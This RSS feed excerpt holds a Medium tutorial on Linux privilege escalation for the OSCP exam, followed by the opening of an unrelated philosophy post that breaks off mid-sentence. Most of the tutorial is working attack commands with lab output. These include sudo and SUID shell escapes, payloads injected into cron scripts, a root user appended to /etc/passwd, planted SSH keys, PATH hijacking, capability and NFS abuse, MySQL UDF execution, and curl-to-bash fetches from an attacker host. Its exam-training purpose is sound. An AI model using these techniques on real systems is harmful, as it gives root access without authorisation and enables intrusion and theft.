            <content:encoded><![CDATA[<blockquote>You have a shell. It’s low-privilege. The clock is running. What do you do next?</blockquote><p>That question asked inside a Kali VM at 2 AM is where most OSCP candidates freeze. Not because they don’t know the techniques. They freeze because they don’t have a <strong>system</strong>. They poke at one thing, hit a dead end, panic, and burn 45 minutes going in circles.</p><p>This post is the system I wish I had earlier. It’s a methodical, sequenced approach to Linux privilege escalation built around the OSCP exam environment covering every major vector from SUID abuse to cron job hijacking, with real terminal output at every step.</p><p>If you’ve done my Active Directory Penetration Testing homelab, you know the format: no hand-waving, no “and then magic happens.” Just commands, output, and the reasoning behind them.</p><h3>Table of Contents</h3><ol><li><a href="https://claude.ai/chat/0087c9a4-7a63-4c66-bca4-c04ea586034a#1-the-mental-model-enumerate-before-you-exploit">The Mental Model: Enumerate Before You Exploit</a></li><li><a href="https://claude.ai/chat/0087c9a4-7a63-4c66-bca4-c04ea586034a#2-initial-enumeration--orient-the-shell">Initial Enumeration — Orient the Shell</a></li><li><a href="https://claude.ai/chat/0087c9a4-7a63-4c66-bca4-c04ea586034a#3-sudo-misconfigurations">Sudo Misconfigurations</a></li><li><a href="https://claude.ai/chat/0087c9a4-7a63-4c66-bca4-c04ea586034a#4-suid--sgid-binary-abuse">SUID / SGID Binary Abuse</a></li><li><a href="https://claude.ai/chat/0087c9a4-7a63-4c66-bca4-c04ea586034a#5-cron-jobs-and-writable-scripts">Cron Jobs and Writable Scripts</a></li><li><a href="https://claude.ai/chat/0087c9a4-7a63-4c66-bca4-c04ea586034a#6-weak-file-permissions">Weak File Permissions</a></li><li><a href="https://claude.ai/chat/0087c9a4-7a63-4c66-bca4-c04ea586034a#7-path-hijacking">PATH Hijacking</a></li><li><a href="https://claude.ai/chat/0087c9a4-7a63-4c66-bca4-c04ea586034a#8-linux-capabilities">Linux Capabilities</a></li><li><a href="https://claude.ai/chat/0087c9a4-7a63-4c66-bca4-c04ea586034a#9-nfs-and-internal-services">NFS and Internal Services</a></li><li><a href="https://claude.ai/chat/0087c9a4-7a63-4c66-bca4-c04ea586034a#10-automated-enumeration--linpeas-and-lse">Automated Enumeration — LinPEAS and LSE</a></li><li><a href="https://claude.ai/chat/0087c9a4-7a63-4c66-bca4-c04ea586034a#11-the-oscp-exam-checklist">The OSCP Exam Checklist</a></li></ol><h3>1. The Mental Model: Enumerate Before You Exploit</h3><p>Before a single exploit runs, the attacker who wins is the one who has already mapped the terrain. Linux privilege escalation is not a bag of tricks you throw at a machine until something sticks. It is a <strong>funnel</strong>:</p><pre>Wide enumeration → Identify anomalies → Confirm exploitability → Execute cleanly</pre><p>On OSCP, you have a finite window. The methodology below is ordered by yield the techniques that pay off most often come first. The kernel exploit section is intentionally last. Kernel exploits are noisy, can crash the machine, and are almost never necessary on a well-designed OSCP box. Misconfigurations will get you root faster.</p><p>One more rule: <strong>run LinPEAS in the background the moment you land</strong>. Don’t wait for manual enumeration to finish. Let both run in parallel, and use the manual pass to understand <em>what you’re looking at</em> before LinPEAS floods you with output.</p><h3>2. Initial Enumeration — Orient the Shell</h3><p>The first five minutes follow the same script regardless of the machine. You need to know: who you are, what the kernel looks like, what other users exist, what’s running internally, and whether any credentials are floating around in plain text. Run these in sequence immediately after getting a foothold.</p><h3>Who Am I, and What Am I Working With?</h3><pre>www-data@victim:/$ id &amp;&amp; whoami<br>uid=33(www-data) gid=33(www-data) groups=33(www-data)<br>www-data</pre><pre>www-data@victim:/$ uname -a<br>Linux victim 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:35:05 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux</pre><pre>www-data@victim:/$ cat /etc/os-release<br>NAME=&quot;Ubuntu&quot;<br>VERSION=&quot;20.04.5 LTS (Focal Fossa)&quot;</pre><p>Note the kernel version. You’re not exploiting it now, but if everything else fails you’ll want it for the Linux Exploit Suggester later.</p><h3>Users, Groups, and High-Value Memberships</h3><pre>www-data@victim:/$ cat /etc/passwd | grep -v nologin | grep -v false<br>root:x:0:0:root:/root:/bin/bash<br>bob:x:1000:1000::/home/bob:/bin/bash<br>alice:x:1001:1001::/home/alice:/bin/bash</pre><pre>www-data@victim:/$ cat /etc/group | grep -E &quot;sudo|docker|lxd|adm|disk&quot;<br>sudo:x:27:bob<br>docker:x:999:<br>adm:x:4:syslog,bob</pre><p>Bob is in the sudo group. If you can pivot to Bob through password reuse, a cracked hash, or a credential in a config file you may get root directly without any further exploitation.</p><h3>Internal Services and Exposed Ports</h3><pre>www-data@victim:/$ ss -tlnp<br>State    Recv-Q  Send-Q  Local Address:Port  Peer Address:Port<br>LISTEN   0       128     127.0.0.1:3306     0.0.0.0:*<br>LISTEN   0       128     0.0.0.0:22         0.0.0.0:*<br>LISTEN   0       128     0.0.0.0:80         0.0.0.0:*</pre><p>MySQL running locally on 3306. That’s worth remembering if you find credentials, MySQL running as root is a well-known privilege escalation path via UDF injection.</p><h3>Credentials in Environment Variables and Shell History</h3><p>This catches more flags than people expect.</p><pre>www-data@victim:/$ env | grep -iE &quot;pass|secret|key|token|db&quot;<br>DB_PASSWORD=Sup3rS3cr3t!<br>PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin</pre><pre>www-data@victim:/$ cat /home/bob/.bash_history 2&gt;/dev/null | head -20<br>mysql -u root -pR00tMySQL2023!<br>ls -la /opt/backup/<br>sudo systemctl restart nginx</pre><p>There it is a root MySQL credential sitting in bash history. Always check history files for every user you can read.</p><h3>3. Sudo Misconfigurations</h3><p>sudo -l is the first command I run after landing because misconfigured sudo entries are the single most common privilege escalation path on OSCP machines. You don&#39;t need the user&#39;s password to list what they can run only to actually run it.</p><pre>bob@victim:~$ sudo -l<br>Matching Defaults entries for bob on victim:<br>    env_reset, mail_badpass,<br>    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin</pre><pre>User bob may run the following commands on victim:<br>    (ALL : ALL) NOPASSWD: /usr/bin/vim<br>    (root) NOPASSWD: /usr/bin/python3 /opt/scripts/backup.py<br>    (ALL) NOPASSWD: /usr/bin/less /var/log/nginx/*.log</pre><p>Three entries, three attack paths. Let’s walk through each.</p><h3>Shell Escape via sudo vim</h3><p>Any text editor that can run shell commands becomes a root shell when run with sudo. With vim, the escape is one line:</p><pre>bob@victim:~$ sudo vim -c &#39;:!/bin/bash&#39;</pre><pre>root@victim:/# id<br>uid=0(root) gid=0(root) groups=0(root)</pre><p>The :! command in vim executes a shell command. Since we&#39;re running under sudo, the shell spawns as root. Same technique applies to nano (^R^X), less (type !/bin/bash at the prompt), and more (!/bin/bash). Check GTFOBins for every editor or pager you see in a sudo entry.</p><h3>Wildcard in Sudo Path — Controlled Argument</h3><pre>(ALL) NOPASSWD: /usr/bin/less /var/log/nginx/*.log</pre><p>The wildcard * only controls the filename, not the path. You can&#39;t inject /etc/shadow here. But less has a shell escape — once you&#39;re inside it, type !/bin/bash:</p><pre>bob@victim:~$ sudo /usr/bin/less /var/log/nginx/access.log<br># Inside less — type:<br>!/bin/bash</pre><pre>root@victim:/#</pre><h3>Writable Script in Sudo Entry</h3><p>The most underrated one: a sudo entry that allows running a specific script doesn’t help unless the script is actually locked down.</p><pre>bob@victim:~$ ls -la /opt/scripts/backup.py<br>-rwxrwxrwx 1 root root 512 May 10 08:14 /opt/scripts/backup.py</pre><p>World-writable. Append a payload, then trigger it via sudo:</p><pre>bob@victim:~$ echo &#39;import os; os.system(&quot;chmod u+s /bin/bash&quot;)&#39; &gt;&gt; /opt/scripts/backup.py<br>bob@victim:~$ sudo /usr/bin/python3 /opt/scripts/backup.py<br>[*] Backup complete.</pre><pre>bob@victim:~$ ls -la /bin/bash<br>-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash</pre><pre>bob@victim:~$ /bin/bash -p<br>bash-5.0# id<br>uid=1000(bob) gid=1000(bob) euid=0(root) groups=1000(bob)</pre><p>euid=0 means effective UID is root — you have full root privileges.</p><blockquote><strong><em>OSCP Note:</em></strong><em> </em><em>sudo -l output alone is worth 5–10 minutes of careful reading. Cross every binary you see against </em><a href="https://gtfobins.github.io/"><em>GTFOBins</em></a><em> before moving on.</em></blockquote><h3>4. SUID / SGID Binary Abuse</h3><p>A binary with the SUID bit set runs as its <em>owner</em> rather than the <em>caller</em>. An SUID binary owned by root that can be coerced into spawning a shell = instant root. This is one of the highest-yield vectors on OSCP machines after sudo.</p><h3>Finding SUID Binaries</h3><pre>www-data@victim:/$ find / -perm -4000 -type f 2&gt;/dev/null<br>/usr/bin/sudo<br>/usr/bin/passwd<br>/usr/bin/newgrp<br>/usr/bin/find<br>/usr/local/bin/python3.8<br>/usr/bin/su<br>/bin/mount<br>/usr/bin/chsh</pre><pre>www-data@victim:/$ ls -la /usr/bin/find /usr/local/bin/python3.8<br>-rwsr-xr-x 1 root root  220768 Feb 20 2022 /usr/bin/find<br>-rwsr-xr-x 1 root root 5457448 Apr 15 2023 /usr/local/bin/python3.8</pre><p>The s in the permissions string (rws) is the SUID bit. Both are owned by root. Both are exploitable.</p><h3>Exploit: SUID find</h3><p>find&#39;s -exec flag executes arbitrary commands — and since the binary is SUID root, those commands run as root:</p><pre>www-data@victim:/$ /usr/bin/find . -exec /bin/sh -p \; -quit</pre><pre># whoami<br>root</pre><p>The -p flag tells sh to preserve the effective UID (root) rather than dropping it to the real UID (www-data).</p><h3>Exploit: SUID Python</h3><p>When an interpreter like Python carries a SUID bit, you can call setuid(0) programmatically before spawning a shell:</p><pre>www-data@victim:/$ /usr/local/bin/python3.8 -c &#39;import os; os.setuid(0); os.system(&quot;/bin/bash -p&quot;)&#39;</pre><pre>root@victim:/# id<br>uid=0(root) gid=33(www-data) groups=33(www-data)</pre><pre>root@victim:/# cat /root/proof.txt<br>f4b3a9c1e8d27b5a0f1c6e4d9b2a7e3c</pre><p>Other commonly abusable SUID binaries: bash, perl, ruby, nmap (older versions), vim, less, more, cp, awk, tar, zip, env. When in doubt, GTFOBins has a dedicated SUID filter.</p><h3>5. Cron Jobs and Writable Scripts</h3><p>Root-owned cron jobs that call scripts or binaries you can write to are a reliable privilege escalation path particularly on machines designed to mimic realistic misconfiguration. The attack pattern is straightforward: inject a payload into the writable target, then wait for the scheduler to execute it as root.</p><h3>Locating Cron Jobs</h3><pre>www-data@victim:/$ cat /etc/crontab<br>SHELL=/bin/sh<br>PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin</pre><pre>m h dom mon dow user    command<br>* * * * *   root    /opt/cleanup.sh<br>17 *  * * * root    cd / &amp;&amp; run-parts --report /etc/cron.hourly</pre><pre>www-data@victim:/$ ls /etc/cron.d/<br>php      monitor</pre><pre>www-data@victim:/$ cat /etc/cron.d/monitor<br>*/5 * * * * root /usr/local/bin/monitor.py</pre><p>Two root cron jobs. Check whether either target is writable:</p><pre>www-data@victim:/$ ls -la /opt/cleanup.sh /usr/local/bin/monitor.py<br>-rwxrwxrwx 1 root root  142 Mar 11 12:05 /opt/cleanup.sh<br>-rwxr-xr-x 1 root root 1024 Mar  8 09:31 /usr/local/bin/monitor.py</pre><p>cleanup.sh is world-writable. The exploit writes itself.</p><h3>Injecting the Payload</h3><p>Rather than a reverse shell (which requires catching a connection), a SUID bash copy is cleaner and more reliable during the exam:</p><pre>www-data@victim:/$ cat /opt/cleanup.sh<br>#!/bin/bash<br>find /tmp -mtime +1 -delete<br>find /var/log -name &quot;*.tmp&quot; -delete</pre><pre>www-data@victim:/$ echo &#39;cp /bin/bash /tmp/.bash &amp;&amp; chmod u+s /tmp/.bash&#39; &gt;&gt; /opt/cleanup.sh</pre><p>Wait up to 60 seconds for the cron job to fire, then:</p><pre>www-data@victim:/$ ls -la /tmp/.bash<br>-rwsr-xr-x 1 root root 1183448 Jun 14 21:00 /tmp/.bash</pre><pre>www-data@victim:/$ /tmp/.bash -p<br>bash-5.0# whoami<br>root</pre><h3>Catching Processes in Real Time with pspy</h3><p>When cron jobs aren’t in /etc/crontab, they may be running from per-user crontabs or paths you can&#39;t read. pspy64 monitors process creation without requiring root:</p><pre>www-data@victim:/$ wget http://10.10.14.15:8000/pspy64 -O /tmp/pspy64<br>www-data@victim:/$ chmod +x /tmp/pspy64 &amp;&amp; /tmp/pspy64 -pf -i 1000 2&gt;/dev/null</pre><pre>2026/06/14 21:00:01 CMD: UID=0  PID=1512 | /bin/sh -c /opt/cleanup.sh<br>2026/06/14 21:00:01 CMD: UID=0  PID=1513 | /bin/bash /opt/cleanup.sh<br>2026/06/14 21:00:01 CMD: UID=0  PID=1514 | find /tmp -mtime +1 -delete<br>2026/06/14 21:00:01 CMD: UID=0  PID=1515 | cp /bin/bash /tmp/.bash</pre><p>UID=0 confirms the process runs as root. Any binary called with UID=0 that you can influence is a target.</p><h3>6. Weak File Permissions</h3><p>When critical system files are misconfigured with overly permissive access rights, the attack surface opens wide. The two highest-value targets are /etc/shadow and /etc/passwd.</p><h3>Readable /etc/shadow — Offline Hash Cracking</h3><pre>www-data@victim:/$ ls -la /etc/shadow<br>-rw-rw-r-- 1 root shadow 1320 Jun 14 11:23 /etc/shadow</pre><pre>www-data@victim:/$ cat /etc/shadow | grep root<br>root:$6$xyz123$LONGHASHHEREABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdef:19500:0:99999:7:::</pre><p>Transfer the hash to your attacker machine and crack it:</p><pre>kali@attacker:~$ echo &#39;$6$xyz123$LONGHASHHEREABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdef&#39; &gt; root.hash<br>kali@attacker:~$ john root.hash --wordlist=/usr/share/wordlists/rockyou.txt</pre><pre>Using default input encoding: UTF-8<br>Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])<br>password123      (root)<br>1g 0:00:00:45 DONE</pre><p>Then su root on the victim with the cracked password.</p><h3>Writable /etc/passwd Add a Root User</h3><p>If /etc/passwd is world-writable, you can add your own root-level account without touching /etc/shadow:</p><pre>www-data@victim:/$ ls -la /etc/passwd<br>-rw-rw-r-- 1 root root 2413 Jun 8 09:41 /etc/passwd</pre><pre># Generate a password hash<br>www-data@victim:/$ openssl passwd -1 hacked123<br>$1$sAlTsAlT$KNmVfYBMVBuLSDUKKgPH01</pre><pre># Append a new root-level user (UID 0, GID 0)<br>www-data@victim:/$ echo &#39;r00t:$1$sAlTsAlT$KNmVfYBMVBuLSDUKKgPH01:0:0:root:/root:/bin/bash&#39; &gt;&gt; /etc/passwd</pre><pre>www-data@victim:/$ su r00t<br>Password: hacked123</pre><pre>root@victim:/# id<br>uid=0(root) gid=0(root) groups=0(root)</pre><p>The key insight: when /etc/passwd contains a password hash in the second field, Linux uses it <em>instead</em> of /etc/shadow. UID 0 makes the account root regardless of the username.</p><h3>Writable SSH Authorized Keys</h3><pre>www-data@victim:/$ find /home -name &quot;authorized_keys&quot; -writable 2&gt;/dev/null<br>/home/bob/.ssh/authorized_keys</pre><pre># On attacker machine<br>kali@attacker:~$ ssh-keygen -t ed25519 -f /tmp/privesc_key -N &#39;&#39;<br>kali@attacker:~$ cat /tmp/privesc_key.pub<br>ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAbCdEfGhIjKlMnOpQrStUvWxYz0123456789 kali@attacker</pre><pre># On victim<br>www-data@victim:/$ echo &#39;ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAbCdEfGhIjKlMnOpQrStUvWxYz0123456789&#39; \<br>  &gt;&gt; /home/bob/.ssh/authorized_keys</pre><pre># Now SSH in as bob without a password<br>kali@attacker:~$ ssh -i /tmp/privesc_key bob@10.10.10.100<br>bob@victim:~$</pre><p>If Bob has sudo rights, this becomes a two-step root.</p><h3>7. PATH Hijacking</h3><p>When a SUID binary or sudo-permitted script calls another program using a relative path (no leading /), the OS searches through $PATH directories in order until it finds a match. If you control a directory that appears <em>before</em> the intended location in PATH, you can plant a malicious binary with the same name.</p><h3>Identifying the Vector</h3><p>Use strings to inspect what a SUID binary calls internally:</p><pre>www-data@victim:/$ ls -la /usr/local/bin/syscheck<br>-rwsr-xr-x 1 root root 8432 May 22 10:11 /usr/local/bin/syscheck</pre><pre>www-data@victim:/$ strings /usr/local/bin/syscheck | grep -v &quot;^[A-Z_]&quot; | head -20<br>/lib64/ld-linux-x86-64.so.2<br>libc.so.6<br>system<br>ps aux<br>service nginx status<br>System check complete.</pre><p>It calls service without a full path. That&#39;s exploitable.</p><h3>The Exploit</h3><pre># Prepend /tmp to PATH<br>www-data@victim:/$ export PATH=/tmp:$PATH</pre><pre># Create a malicious &quot;service&quot; binary in /tmp<br>www-data@victim:/$ cat &gt; /tmp/service &lt;&lt; &#39;EOF&#39;<br>#!/bin/bash<br>cp /bin/bash /tmp/.rootbash &amp;&amp; chmod u+s /tmp/.rootbash<br>EOF<br>www-data@victim:/$ chmod +x /tmp/service</pre><pre># Run the SUID binary — it finds our &quot;service&quot; first<br>www-data@victim:/$ /usr/local/bin/syscheck<br>Checking processes...<br>System check complete.</pre><pre>www-data@victim:/$ ls -la /tmp/.rootbash<br>-rwsr-xr-x 1 root root 1183448 Jun 14 21:12 /tmp/.rootbash</pre><pre>www-data@victim:/$ /tmp/.rootbash -p<br>bash-5.0# id<br>uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)</pre><p>This also applies to scripts run via sudo — if the sudoers entry doesn’t set a secure_path, the user&#39;s $PATH is inherited.</p><h3>8. Linux Capabilities</h3><p>Capabilities are a fine-grained subdivision of root privilege. Rather than granting a binary full root access via SUID, capabilities grant specific permissions — like binding to a low port (cap_net_bind_service) or bypassing file permission checks (cap_dac_override). The dangerous one for privilege escalation is cap_setuid: it lets a binary change its UID to 0.</p><p>These don’t show up in find -perm -4000 — you need getcap specifically.</p><h3>Enumeration</h3><pre>www-data@victim:/$ getcap -r / 2&gt;/dev/null<br>/usr/bin/mtr-packet = cap_net_raw+ep<br>/usr/bin/python3.8 = cap_setuid+ep<br>/usr/bin/perl = cap_setuid+ep<br>/usr/bin/ping = cap_net_raw+ep</pre><p>cap_setuid+ep on Python and Perl. The +ep means the capability is both <em>effective</em> and <em>permitted</em> — it&#39;s active immediately, not just available.</p><h3>Exploit: cap_setuid on Python</h3><pre>www-data@victim:/$ /usr/bin/python3.8 -c &#39;import os; os.setuid(0); os.system(&quot;/bin/bash&quot;)&#39;</pre><pre>root@victim:/# id<br>uid=0(root) gid=33(www-data) groups=33(www-data)</pre><h3>Exploit: cap_setuid on Perl</h3><pre>www-data@victim:/$ /usr/bin/perl -e &#39;use POSIX qw(setuid); POSIX::setuid(0); exec &quot;/bin/bash&quot;;&#39;</pre><pre>root@victim:/#</pre><h3>Other Dangerous Capabilities</h3><p>Capability What it enables Attack path cap_setuid Change UID to 0 Direct root via interpreter cap_dac_override Bypass file permission checks Read /etc/shadow, write /etc/passwd cap_sys_admin Mount filesystems, enter namespaces Container escape via chroot cap_net_bind_service Bind to ports &lt; 1024 Service impersonation for credential capture</p><p>The cap_sys_admin container escape is worth noting separately. If you&#39;re inside a Docker container and see that capability:</p><pre>www-data@container:/$ capsh --print | grep Current<br>Current: = cap_sys_admin+ep cap_net_admin+ep</pre><pre>www-data@container:/$ mkdir /tmp/host &amp;&amp; mount /dev/sda1 /tmp/host<br>www-data@container:/$ chroot /tmp/host /bin/bash</pre><pre>root@victim:/# cat /root/proof.txt<br>a9b3c7d1e5f8a0b2c4d6e8f1a3b5c7d9</pre><h3>9. NFS and Internal Services</h3><h3>NFS — The no_root_squash Misconfiguration</h3><p>By default, NFS maps the remote root user to the nobody account on the server, a security measure called root squashing. When an admin explicitly disables this with no_root_squash, any client connecting as root can act as root on the NFS share. If you can write to that share, you can plant a SUID binary.</p><pre># On the victim — check exports<br>www-data@victim:/$ cat /etc/exports<br>/srv/share  *(rw,no_root_squash,no_subtree_check)<br>/home/backup  192.168.1.0/24(ro,sync)</pre><pre># On the attacker machine — mount and plant<br>kali@attacker:~$ showmount -e 10.10.10.100<br>Export list for 10.10.10.100:<br>/srv/share *</pre><pre>kali@attacker:~$ mkdir /tmp/nfs &amp;&amp; mount -o rw,vers=2 10.10.10.100:/srv/share /tmp/nfs<br>kali@attacker:~$ cp /bin/bash /tmp/nfs/rootshell &amp;&amp; chmod u+s /tmp/nfs/rootshell</pre><pre># Back on the victim<br>www-data@victim:/$ /srv/share/rootshell -p<br>bash-5.0# id<br>uid=33(www-data) gid=33(www-data) euid=0(root)</pre><h3>MySQL Running as Root — UDF Injection</h3><p>When MySQL runs as root and you have a root MySQL credential (from that bash history find earlier), MySQL UDF (User Defined Function) injection lets you execute OS commands as root:</p><pre>www-data@victim:/$ ps aux | grep mysql<br>root  812  0.0  3.1 1823848 127528 ?  Ssl  21:00  /usr/sbin/mysqld</pre><pre>www-data@victim:/$ mysql -u root -pR00tMySQL2023! -e &quot;SELECT @@plugin_dir;&quot;<br>+------------------------------+<br>| @@plugin_dir                 |<br>+------------------------------+<br>| /usr/lib/mysql/plugin/       |<br>+------------------------------+</pre><pre># Transfer lib_mysqludf_sys.so to the plugin directory, then:<br>www-data@victim:/$ mysql -u root -pR00tMySQL2023! &lt;&lt; &#39;EOF&#39;<br>USE mysql;<br>CREATE FUNCTION sys_exec RETURNS INTEGER SONAME &#39;lib_mysqludf_sys.so&#39;;<br>SELECT sys_exec(&#39;chmod u+s /bin/bash&#39;);<br>EOF</pre><pre>Query OK, 0 rows affected</pre><pre>www-data@victim:/$ /bin/bash -p<br>bash-5.0# id<br>uid=33(www-data) gid=33(www-data) euid=0(root)</pre><h3>10. Automated Enumeration — LinPEAS and LSE</h3><p>Manual enumeration builds understanding. Automated tools catch what you miss. LinPEAS is the standard for OSCP it covers more ground in 90 seconds than most people cover manually in 30 minutes, and its color-coded output prioritizes findings by severity.</p><h3>Deploying LinPEAS</h3><pre># On attacker — serve the script<br>kali@attacker:~$ wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh<br>kali@attacker:~$ python3 -m http.server 8000<br>Serving HTTP on 0.0.0.0 port 8000 ...</pre><pre># On victim — pull and run, save output<br>www-data@victim:/$ curl -sL <a href="http://10.10.14.15:8000/linpeas.sh">http://10.10.14.15:8000/linpeas.sh</a> | bash 2&gt;/dev/null | tee /tmp/linpeas_out.txt</pre><p>If the machine has no outbound internet access, use base64 encoding:</p><pre>kali@attacker:~$ base64 -w0 linpeas.sh<br># Copy the output, then on victim:<br>www-data@victim:/$ echo &quot;AAAA...BASE64...ZZZZ&quot; | base64 -d &gt; /tmp/lp.sh &amp;&amp; bash /tmp/lp.sh</pre><h3>Reading LinPEAS Output</h3><p>The color scheme is the whole game:</p><ul><li><strong>Red + Yellow (95% PE)</strong> — treat this as a confirmed vector. Almost always exploitable.</li><li><strong>Red</strong> — high-value finding, investigate immediately.</li><li><strong>Yellow</strong> — worth checking, may require additional conditions.</li><li><strong>Green</strong> — informational, lower priority.</li></ul><p>Example output from a misconfigured machine:</p><pre>╔══════════╣ Sudo version<br>Sudo version 1.8.21p2<br>  [!] CVE-2021-3156 - Heap-based buffer overflow in sudo (Baron Samedit)</pre><pre>╔══════════╣ SUID - Check for unusual suid files<br>-rwsr-xr-x 1 root root 5457448 /usr/local/bin/python3.8</pre><pre>╔══════════╣ Interesting writable files owned by me or writable by everyone<br>/opt/cleanup.sh<br>/etc/passwd</pre><p>Three findings in one output pass: a CVE in sudo, a SUID Python binary, and two writable critical files. Any one of those is root.</p><h3>LSE — Quieter Alternative</h3><p>Linux Smart Enumeration is less noisy and better for targeted checks:</p><pre>www-data@victim:/$ curl -sL https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh \<br>  | bash -s -- -l 2 -i</pre><pre>[*] usr020 Can we list other users&#39; home directories?..... yes!<br>[!] sud040 Can we run &#39;sudo&#39; with a password?............. yes!<br>[!] fst010 Can we write to files owned by root in /etc?.. yes!</pre><p>Use LSE when you want a second opinion or need to confirm a specific class of finding.</p><blockquote><strong><em>On kernel exploits:</em></strong><em> If LinPEAS highlights a kernel CVE, note it. Don’t run it yet. Work through every misconfiguration-based vector first. Kernel exploits can cause a kernel panic which on an OSCP exam machine means a reboot and lost time. They’re the last resort, not the first move.</em></blockquote><h3>11. The OSCP Exam Checklist</h3><p>When you land a shell, run through this in order. Copy it into a notes file at the start of every exam.</p><pre>#!/bin/bash<br># OSCP Linux PrivEsc Checklist<br># ─────────────────────────────────────────────────────────</pre><pre># [1] Identity &amp; OS context<br>id; uname -a; cat /etc/os-release</pre><pre># [2] Sudo rights — the highest-yield first check<br>sudo -l 2&gt;/dev/null</pre><pre># [3] SUID binaries<br>find / -perm -4000 -type f 2&gt;/dev/null | xargs ls -la</pre><pre># [4] Capabilities<br>getcap -r / 2&gt;/dev/null</pre><pre># [5] Cron jobs<br>cat /etc/crontab; ls -la /etc/cron*; crontab -l 2&gt;/dev/null; ls /etc/cron.d/</pre><pre># [6] Writable files that matter<br>find / -writable -type f 2&gt;/dev/null | grep -Ev &quot;proc|sys|run|dev&quot; | head -30</pre><pre># [7] Critical file permissions<br>ls -la /etc/passwd /etc/shadow /etc/sudoers 2&gt;/dev/null</pre><pre># [8] Credentials in env, history, and config files<br>env | grep -iE &quot;pass|key|secret|token&quot;<br>cat ~/.bash_history 2&gt;/dev/null<br>find / -name &quot;*.conf&quot; -readable 2&gt;/dev/null | xargs grep -l &quot;password\|passwd&quot; 2&gt;/dev/null | head -10</pre><pre># [9] Internal services — look for unusual listeners<br>ss -tlnp</pre><pre># [10] NFS exports<br>cat /etc/exports 2&gt;/dev/null</pre><pre># [11] Group memberships that matter<br>id | grep -E &quot;docker|lxd|disk|adm|sudo&quot;</pre><pre># [12] PATH abuse candidates — SUID binaries calling relative paths<br>find / -perm -4000 2&gt;/dev/null -exec strings {} \; 2&gt;/dev/null \<br>  | grep -v &quot;^[A-Z_/]&quot; | sort -u | grep -v &quot;^$&quot; | head -30</pre><pre># [13] Deploy LinPEAS in background<br>curl -sL <a href="http://attacker_ip:8000/linpeas.sh">http://ATTACKER_IP:8000/linpeas.sh</a> | bash 2&gt;/dev/null | tee /tmp/lp.txt &amp;</pre><pre># [14] Grab the proof<br>cat /root/proof.txt &amp;&amp; hostname &amp;&amp; id</pre><h3>Closing Thoughts</h3><p>Every technique in this post has appeared in real OSCP exam machines misconfigured sudo entries, SUID interpreters, world-writable cron scripts, shadow files with wrong permissions. None of it is exotic. The machines are intentionally built around realistic misconfigurations that exist in production environments.</p><p>What separates candidates who pass from those who don’t isn’t knowledge of rare exploits. It’s discipline in enumeration, systematic thinking under time pressure, and knowing the order of operations which vector to try first, when to move on, and when to trust the tools.</p><p>Work the checklist. Read the LinPEAS output carefully. And when you see euid=0(root) in your terminal, screenshot it, grab the proof, and document everything before you celebrate.</p><p><em>If you found this useful, my Active Directory Penetration Testing uses the same methodology for Windows environments. Questions, corrections, or additions drop them in the comments.</em></p><p><strong>Tags:</strong> #OSCP #PrivEsc #Linux #PenetrationTesting #RedTeam #CyberSecurity #Hacking #CTF #OffensiveSecurity #InfoSec</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=86d347a6d4ef" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Who Am I?]]></title>
            <link>https://medium.com/@pingacis/who-am-i-bda79273ab26?source=rss-8ff969aec76e------2</link>
            <guid isPermaLink="false">https://medium.com/p/bda79273ab26</guid>
            <category><![CDATA[spirituality]]></category>
            <category><![CDATA[psychology]]></category>
            <category><![CDATA[who-am-i]]></category>
            <dc:creator><![CDATA[Ashish Ghimire]]></dc:creator>
            <pubDate>Sun, 07 Jun 2026 01:59:58 GMT</pubDate>
            <atom:updated>2026-06-07T01:59:58.678Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Beyond religion, caste, race, and name beneath all that we call ourselves — something watches.</em></p><blockquote><em>You were born without a name, a religion, a nationality, a caste. Someone gave all of that to you. So who were you in that first silent moment before the world told you what to be?</em></blockquote><p>This is perhaps the oldest question in human consciousness, asked in the caves of prehistoric ancestors, in the forests of ancient India, in the cells of Greek philosophers, in the writings of Sufi poets. And yet, for most of us, it goes unasked. We are too busy <em>being</em> what we have been told we are.</p><h3>The Costume We Call Identity</h3><p>From the moment we arrive in this world, the costume fitting begins. Hindu or Muslim. Black or white. Upper caste or lower. Rich or poor. Brahmin or Dalit. Christian or Jew. These are not discoveries we make — they are assignments we receive. Labels stitched onto us before we could speak, before we could question, before we could choose.</p><p>Psychology calls this <em>social identity</em> — the sense of self derived from group membership. It is real. It shapes our behavior, our fears, our pride, our prejudice. But here is the uncomfortable truth: social identity is inherited costume, not original nature. And when we mistake the costume for the self, we begin to suffer.</p><p>We go to war for the costume. We hate strangers because they wear a different one. We feel superior, or inferior, based entirely on which faction assigned us which label at birth. The entire architecture of human conflict religious persecution, caste violence, racism, nationalism is a war of costumes. People dying over fabric they didn’t choose.</p><h3>What the Ego Does</h3><p>Sigmund Freud gave us the word <em>ego</em> — the “I” at the center of the psyche. But it was later thinkers, and the entire tradition of Eastern philosophy, who noticed something alarming about the ego: it is a storyteller, not a fact-finder.</p><p>The ego builds its identity through contrast. <em>I am Indian not Pakistani. I am upper caste not lower. I am educated not ignorant. I am saved not a sinner.</em> The ego needs an “other” to define itself. This is why division is not accidental. It is psychologically functional. Our identities depend on it.</p><p>Carl Jung observed that the personathe mask we wear for the world becomes so familiar that we forget it is a mask. We identify with the role so completely that we cannot imagine life without it. The Hindu cannot imagine not being Hindu. The Brahmin cannot imagine not being Brahmin. The white man cannot imagine seeing through whiteness. The costume has become the skin.</p><blockquote><em>“The greatest trick the ego ever pulled was convincing you that you are the story it 